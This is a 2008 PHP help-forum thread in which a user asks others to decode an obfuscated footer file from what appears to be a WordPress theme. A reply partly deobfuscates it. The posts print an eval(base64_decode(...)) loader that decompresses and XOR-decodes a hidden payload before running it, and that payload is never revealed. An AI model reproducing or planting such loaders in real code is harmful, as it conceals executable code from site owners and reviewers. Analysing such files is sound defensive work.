Welcome to Dream.In.Code
Getting PHP Help is Easy!

Join 132,682 PHP Programmers for FREE! Get instant access to thousands of PHP experts, tutorials, code snippets, and more! There are 1,230 people online right now. Registration is fast and FREE... Join Now!




Could someone decode this?

 
Reply to this topicStart new topic

Could someone decode this?, PLEASE?

grrd
post 29 May, 2008 - 09:37 PM
Post #1


New D.I.C Head

*
Joined: 29 May, 2008
Posts: 2

I've been trying to decode this for about 3 days now. I think its time to get some help.

CODE
& #34;QAAAJwoNOzh3b3cnbmlka3JjYgAAL1NCSldLRlNCV0ZTTycpJwBAJShlaHNzaGopAkAlLjwnODlC
AA4AEAoNDg4AQTtjbnEnbmM6JQDAYWhoc2J1JTkBUQBBDidDYnRuAABgaSdlfic7ZidvdWJhOiVvAABz
c3c9KChwcHApcGJlNWFiAABiaylkaGolOU1uaXRoaWY7AMAoZjknUG5zbwM/AzB0d351YnEQAG5icANAKXJsKCU5J1R3fidV2AABQgOxKwN/ A3B1YnR+dCl0Yih0agwDdGtmaQNyAKAhZnVuaWA8aQOfCjUAV3R3YX9qZnRsdAcAagNxSgDRAwEOEZeY
AEE7KA/wORCQFEAAsgFRCg0A4BUicHdYuQARcy8TggFwFMBjfhJAOyhvc2prOQ==";eval(base64_decode(& #34;JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpH
VmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXla
Q2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNi
R3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRs
bGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04w
Y214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxs
bGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxs
KytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31p
ZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9
KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRs
bGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxs
bGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31l
bHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFsk
bGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwr
K109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxs
bGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxs
bGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIp
KTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JH
eHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxs
bGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxs
bGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNn
Mk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="))


Very appreciated smile.gif

This post has been edited by grrd: 29 May, 2008 - 09:39 PM
User is offlineProfile CardPM

Go to the top of the page

joeyadms
post 30 May, 2008 - 01:30 AM
Post #2


D.I.C Head

Group Icon
Joined: 4 May, 2008
Posts: 145



Thanked 6 times

Dream Kudos: 600

Expert In: PHP, Web Security

My Contributions


This is what you have so far. The first string I think was malformed, however here is the second.

You have to figure out $o , and decode it along with the rest, before you can go sorting out function names.
CODE

$lll=0;
$lllllllllll='base64_decode';
$ll=0;
$llllllllll='ord';
$llll=0;
$lllll=3;
$l=$lllllllllll($o);
$lllllll=0;
$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);
$lllllllllllll='strlen';
$lllllllll=16;
$llllllll="";
for(;$lllll<$lllllllllllll($l);)
    {
    if($lllllllll==0){
    $llllll=($llllllllll($l[$lllll++])<<8);
    $llllll+=$llllllllll($l[$lllll++]);
    $lllllllll=16;
    }
    if($llllll&0x8000)
        {$lll=($llllllllll($l[$lllll++])<<4);
        $lll+=($llllllllll($l[$lllll])>>4);
        if($lll)
            {
            $ll=($llllllllll($l[$lllll++])&0x0f)+3;
            for($llll=0;$llll<$ll;$llll++)
            $llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];
            $lllllll+=$ll;
            }else{
            $ll=($llllllllll($l[$lllll++])<<8);
            $ll+=$llllllllll($l[$lllll++])+16;
            for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));
            $lllll++;$lllllll+=$ll
            }
        }else
        $llllllll[$lllllll++]=$llllllllll($l[$lllll++]);
        $llllll<<=1;
        $lllllllll--;
    }
    $llllllllllll='chr';
    $lllll=0;
    $lllllllll="?".$llllllllllll(62);
    $llllllllll="";
    for(;$lllll<$lllllll;)
        {
        $llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);
        }
        $lllllllll.=$llllllllll.$llllllllllll(60)."?";
        eval($lllllllll);
User is offlineProfile CardPM

Go to the top of the page

grrd
post 30 May, 2008 - 04:58 AM
Post #3


New D.I.C Head

*
Joined: 29 May, 2008
Posts: 2

Thanks for helping me out. Anyway here is the full script..the only one that had an $o on it:

CODE
<?php
$o=& #34;QAAAJwoNOzh3b3cnbmlka3JjYgAAL1NCSldLRlNCV0ZTTycpJwBAJShlaHNzaGopAkAlLjwnODlC
AA4AEAoNDg4AQTtjbnEnbmM6JQDAYWhoc2J1JTkBUQBBDidDYnRuAABgaSdlfic7ZidvdWJhOiVvAABz
c3c9KChwcHApcGJlNWFiAABiaylkaGolOU1uaXRoaWY7AMAoZjknUG5zbwM/AzB0d351YnEQAG5icANAKXJsKCU5J1R3fidV2AABQgOxKwN/ A3B1YnR+dCl0Yih0agwDdGtmaQNyAKAhZnVuaWA8aQOfCjUAV3R3YX9qZnRsdAcAagNxSgDRAwEOEZeY
AEE7KA/wORCQFEAAsgFRCg0A4BUicHdYuQARcy8TggFwFMBjfhJAOyhvc2prOQ==";eval(base64_decode(& #34;JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpH
VmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXla
Q2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNi
R3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRs
bGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04w
Y214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxs
bGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxs
KytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31p
ZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9
KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRs
bGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxs
bGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31l
bHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFsk
bGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwr
K109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxs
bGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxs
bGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIp
KTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JH
eHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxs
bGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxs
bGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNn
Mk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>


By the way, thats a footer file. Theres also another file similar that I just found. I don't know if it helps but here it is.

CODE
<div class="clear"></div>
        </div>
        </div>
        <div id="bottombar">

        
        
        <div class="bar-one">
        
            <h2>Recent Posts</h2>
            <ul><?php
$myposts = get_posts('numberposts=10&offset=1');
foreach($myposts as $post) :
?>
<li><a href="<?php the_permalink(); ?>"><?php the_title();
?></a></li>
<?php endforeach; ?>
    
        </ul>
        
        </div>

        <div class="bar-one">

            <h2>About Me</h2>
            <ul><?php include (TEMPLATEPATH . '/about_text.txt'); /* Open about_text.txt in the theme folder to edit this text */?>    </ul>        
        
        </div>

        <div class="bar-one" style="margin-right:0px;">

            <h2>Blogroll</h2>
            <ul>
           <ul>
                    <?php get_links(-1, '<li>', '</li>', 'between', FALSE, 'name', FALSE, FALSE, -1, FALSE); ?>
            </ul>

        </ul>    
        
        </div>
        
        <div style="clear:both;"></div>
        
        


This post has been edited by grrd: 30 May, 2008 - 05:09 AM
User is offlineProfile CardPM

Go to the top of the page

Fast ReplyReply to this topicStart new topic
Time is now: 11/23/08 06:49AM

Live PHP Help!

PHP Tutorials

Reference Sheets

PHP Snippets

Bye Bye Ads

Free DIC T-Shirt

T-Shirt Example

Related Sites

Monthly Drawing

Thumb Drive

Partners

Top Contributors

Top 10 Kudos This Month